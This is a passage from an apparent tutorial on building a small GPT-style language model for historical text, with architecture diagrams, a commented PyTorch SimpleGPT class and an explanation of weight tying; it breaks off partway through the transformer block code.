        M[Layers: 12&amp;lt;br/&amp;gt;Heads: 12&amp;lt;br/&amp;gt;Embedding: 768&amp;lt;br/&amp;gt;Context: 512&amp;lt;br/&amp;gt;Parameters: 117M&amp;lt;br/&amp;gt;Training: 7-8 hours&amp;lt;br/&amp;gt;MFU: 8-9%]
    end
    
    style A fill:#e1f5fe
    style L fill:#e8f5e8
    style M fill:#fff3e0&lt;/pre&gt;
    &lt;figcaption&gt;Figure 2: SLM Architecture (117M Parameters)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The Regular model, as shown in &lt;a href=&#34;#fig3&#34; class=&#34;figure-ref&#34;&gt;Figure 3&lt;/a&gt; below, follows the same architectural pattern as the SLM but with increased capacity: 24 transformer layers instead of 12, 16 attention heads instead of 12, and 1024-dimensional embeddings instead of 768.&lt;/p&gt;
&lt;p&gt;This represents a ~3x increase in parameters (354M vs 117M), ~2x more attention heads, and ~33% larger embedding dimensions, providing significantly more computational power for learning complex historical language patterns.&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig3&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TD
    A[Input Tokens&amp;lt;br/&amp;gt;1024 tokens] --&amp;gt; B[Token Embedding&amp;lt;br/&amp;gt;30K vocab → 1024 dim]
    A --&amp;gt; C[Position Embedding&amp;lt;br/&amp;gt;1024 pos → 1024 dim]
    B --&amp;gt; D[Add Embeddings]
    C --&amp;gt; D
    D --&amp;gt; E[Layer Norm]
    E --&amp;gt; F[Transformer Block 1&amp;lt;br/&amp;gt;16 heads, 1024 dim]
    F --&amp;gt; G[Transformer Block 2&amp;lt;br/&amp;gt;16 heads, 1024 dim]
    G --&amp;gt; H[...]
    H --&amp;gt; I[Transformer Block 24&amp;lt;br/&amp;gt;16 heads, 1024 dim]
    I --&amp;gt; J[Final Layer Norm]
    J --&amp;gt; K[Language Head&amp;lt;br/&amp;gt;1024 → 30K vocab]
    K --&amp;gt; L[Output Logits&amp;lt;br/&amp;gt;30K probabilities]
    
    subgraph &amp;#34;Key Specifications&amp;#34;
        M[Layers: 24&amp;lt;br/&amp;gt;Heads: 16&amp;lt;br/&amp;gt;Embedding: 1024&amp;lt;br/&amp;gt;Context: 1024&amp;lt;br/&amp;gt;Parameters: 354M&amp;lt;br/&amp;gt;Training: 28-32 hours&amp;lt;br/&amp;gt;MFU: 15-20%]
    end
    
    style A fill:#e1f5fe
    style L fill:#e8f5e8
    style M fill:#fff3e0&lt;/pre&gt;
    &lt;figcaption&gt;Figure 3: Regular Model Architecture (354M Parameters)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 id=&#34;22-simplegpt-class&#34;&gt;2.2 SimpleGPT Class&lt;/h3&gt;
&lt;p&gt;Now that we&amp;rsquo;ve covered the theory behind the GPT architecture, let&amp;rsquo;s examine the actual implementation. The &lt;strong&gt;&lt;code&gt;SimpleGPT&lt;/code&gt;&lt;/strong&gt; class is at the heart of our implementation - it&amp;rsquo;s the core class that brings together all the components discussed in section 2.1 into a working language model. The class inherits from PyTorch&amp;rsquo;s &lt;code&gt;**torch.nn.Module**&lt;/code&gt;, which is the base class for all neural network components in PyTorch. This gives us access to automatic differentiation, GPU support, and other PyTorch features.&lt;/p&gt;
&lt;h4 id=&#34;221-the-__init__-method&#34;&gt;2.2.1 The &lt;code&gt;__init__&lt;/code&gt; method&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;__init__&lt;/code&gt; method is the constructor that assembles our entire language model from individual components. First, it stores all hyperparameters (such as vocabulary size, embedding dimensions, and the number of layers) in a configuration object that the rest of the model can reference. Next, it creates the embedding layers - one that converts our 30,000 historical tokens into dense vectors, and another that encodes position information. Hence, the model knows where each word appears in the sequence.&lt;/p&gt;
&lt;p&gt;Next, it builds the transformer blocks - the core processing units that do the heavy lifting. Each block contains self-attention mechanisms and feed-forward networks that learn to understand relationships between words. The method also initializes the language modeling head, the final layer that converts all internal processing back into probabilities for which word should come next.&lt;/p&gt;
&lt;p&gt;Finally, it sets up proper weight initialization to ensure the model starts with good random weights (not too big, not too small), and implements weight tying between the input embeddings and the output layer. This clever technique reduces the number of parameters while improving training efficiency by sharing weights between the first and last layers.&lt;/p&gt;
&lt;p&gt;This is important because if the weights are too large, the model&amp;rsquo;s gradients can explode during training, leading to unstable learning. If they start too small, gradients can vanish, rendering the model unable to learn. Our initialization ensures the model begins in the &amp;ldquo;Goldilocks zone&amp;rdquo; - just right for effective learning. Without this, even a perfectly designed architecture might fail to train properly.&lt;/p&gt;
&lt;p&gt;Now, let me show you the actual implementation. The code in &lt;a href=&#34;#listing1&#34; class=&#34;listing-ref&#34;&gt;Listing 1&lt;/a&gt; demonstrates how we implement the core GPT architecture:&lt;/p&gt;
&lt;figure id=&#34;listing1&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;SimpleGPT&lt;/span&gt;(torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Module):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Simple GPT model based on nanoGPT
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    This class implements a decoder-only transformer model optimized for 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    historical text generation. It inherits from PyTorch&amp;#39;s Module class
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    to get automatic differentiation and GPU support.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, config):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;super&lt;/span&gt;()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;()  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Initialize the parent PyTorch Module class&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;config &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; config  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Store all model hyperparameters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create the main transformer components using ModuleDict&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ModuleDict allows us to organize related layers together&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transformer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ModuleDict(&lt;span style=&#34;color:#91d7e3&#34;&gt;dict&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Token Embedding Layer (wte = &amp;#34;word token embedding&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Converts each token ID to a high-dimensional vector&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Input: token IDs (integers 0 to vocab_size-1)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Output: dense vectors of size $n_{embd}$ (e.g., 768 dimensions)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            wte &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Embedding(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;vocab_size, config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Position Embedding Layer (wpe = &amp;#34;word position embedding&amp;#34;) &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Encodes where each token appears in the sequence&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Input: position indices (0 to block_size-1)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Output: dense vectors of size $n_{embd}$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            wpe &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Embedding(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;block_size, config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Dropout Layer for regularization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Randomly sets some inputs to zero during training to prevent overfitting&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            drop &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Dropout(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dropout),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Stack of Transformer Blocks (h = &amp;#34;hidden layers&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Each SimpleBlock contains self-attention and feed-forward layers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# We create n_layer blocks (e.g., 12 for SLM, 24 for regular model)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            h &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ModuleList([SimpleBlock(config) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; _ &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_layer)]),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Final Layer Normalization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Normalizes the output before the language modeling head&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ln_f &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;LayerNorm(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, bias&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;bias),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Language Modeling Head&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Converts the final hidden states back to vocabulary space&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Input: hidden states of size $n_{embd}$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Output: logits for each token in vocabulary ($vocab_{size}$ logits)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lm_head &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Linear(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;vocab_size, bias&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Initialize all weights using our custom initialization method&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# This ensures the model starts with good random weights&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;apply(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;_init_weights)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Weight Tying: Share weights between input embeddings and output layer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# This technique improves training efficiency and model performance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# by ensuring the same representation space is used for input and output&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transformer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;wte&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;weight &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lm_head&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;weight&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 1: SimpleGPT Model Architecture&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id=&#34;222-weight-tying&#34;&gt;2.2.2 Weight Tying&lt;/h4&gt;
&lt;p&gt;The tied weights between the embedding layer and language modeling head (&lt;code&gt;self.transformer.wte.weight = self.lm_head.weight&lt;/code&gt;) are a crucial optimization for our historical language model. In a typical neural network, you&amp;rsquo;d have two separate weight matrices - one for converting input tokens to embeddings, and another for converting hidden states back to vocabulary probabilities. Weight tying means we use the &lt;em&gt;same&lt;/em&gt; weight matrix for both operations.&lt;/p&gt;
&lt;p&gt;Think of it like this: instead of having two different dictionaries (one for reading, one for writing), we use the same dictionary for both. The same table that maps &amp;ldquo;alderman&amp;rdquo; → [0.2, -0.5, 0.8, &amp;hellip;] is used whether the model is reading &amp;ldquo;alderman&amp;rdquo; as input or trying to generate &amp;ldquo;alderman&amp;rdquo; as output.&lt;/p&gt;
&lt;p&gt;Without weight tying, the model would have two separate weight matrices - one for converting input tokens to embeddings, and another for converting hidden states back to vocabulary probabilities. This means the model could learn that &amp;ldquo;alderman&amp;rdquo; means one thing when it sees it as input, but something slightly different when it tries to generate it as output. For rare historical terms, this inconsistency can cause the model to &amp;ldquo;forget&amp;rdquo; how to use words it has seen before properly.&lt;/p&gt;
&lt;p&gt;Historical vocabulary contains many rare terms such as &amp;ldquo;quoth&amp;rdquo; &amp;ldquo;alderman&amp;rdquo; and &amp;ldquo;paternoster&amp;rdquo; that appear infrequently in our training data. Without weight tying, the model might learn different representations for the same word when it sees it as input versus when it generates it as output. This inconsistency can cause the model to struggle with rare historical terms.&lt;/p&gt;
&lt;p&gt;When the model sees &amp;ldquo;alderman&amp;rdquo; in the input, it learns a specific representation of it. Later, when it needs to generate &amp;ldquo;alderman&amp;rdquo; in the output, it uses that same learned representation, ensuring consistency and improving the model&amp;rsquo;s ability to generate coherent historical language with proper terminology.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mechanics (matrix reuse)&lt;/strong&gt;  A &lt;em&gt;single&lt;/em&gt; matrix $E \in \mathbb{R}^{(V \times d)}$ serves both roles: row lookup for input embeddings and column interaction for output scoring. The language head reuses it to compute logits via:&lt;/p&gt;
&lt;p&gt;$$\text{logits} = h \cdot E^T$$&lt;/p&gt;
&lt;p&gt;where $h$ is the hidden state at each position, this keeps the input interpretation and output prediction within the same semantic geometry - no second projection to drift or disagree.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why it helps&lt;/strong&gt; Parameter savings (~23.0M SLM, ~30.7M Regular) lower memory footprint and bandwidth. Gradients for predicting a rare token (e.g., &lt;em&gt;yeoman&lt;/em&gt;, &lt;em&gt;guildhall&lt;/em&gt;, &lt;em&gt;paternoster&lt;/em&gt;) directly refine the very rows used to embed it on future inputs - improving both recall and generation. Shared weights mildly regularize against the two spaces drifting apart and empirically improve perplexity for mid-scale autoregressive models (Press &amp;amp; Wolf, 2017; Inan et al., 2016).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Analogy&lt;/strong&gt; If the transformer stack is a panel of historians debating context, the language modeling head is the scribe choosing the next historically plausible word. Weight tying means the scribe and historians consult the &lt;em&gt;same dictionary&lt;/em&gt; - no translation mismatch between how words are read and how they&amp;rsquo;re proposed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Practical notes&lt;/strong&gt; Avoid inflating vocabulary unnecessarily (cost scales with $V$); tied weights do not remove the need for careful rare token coverage in the corpus; and if later adding adapters or LoRA heads, remember that tying interacts with how those layers inject low-rank updates.&lt;/p&gt;
&lt;p&gt;Now that we understand how the model efficiently handles vocabulary, let&amp;rsquo;s examine the core processing units that transform these embeddings into meaningful representations.&lt;/p&gt;
&lt;h3 id=&#34;23-transformer-block-design&#34;&gt;2.3 Transformer Block Design&lt;/h3&gt;
&lt;p&gt;Each transformer block implements the standard attention and feed-forward pattern, but with optimizations for historical text processing. Let us look at the code real quick and then get into a little more detail.&lt;/p&gt;
&lt;figure id=&#34;listing2&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;SimpleBlock&lt;/span&gt;(torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Module):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Simple transformer block&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, config):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;super&lt;/span&gt;()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ln_1 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;LayerNorm(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, bias&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;bias)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;attn &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; SimpleCausalSelfAttention(config)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ln_2 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;LayerNorm(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, bias&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;bias)
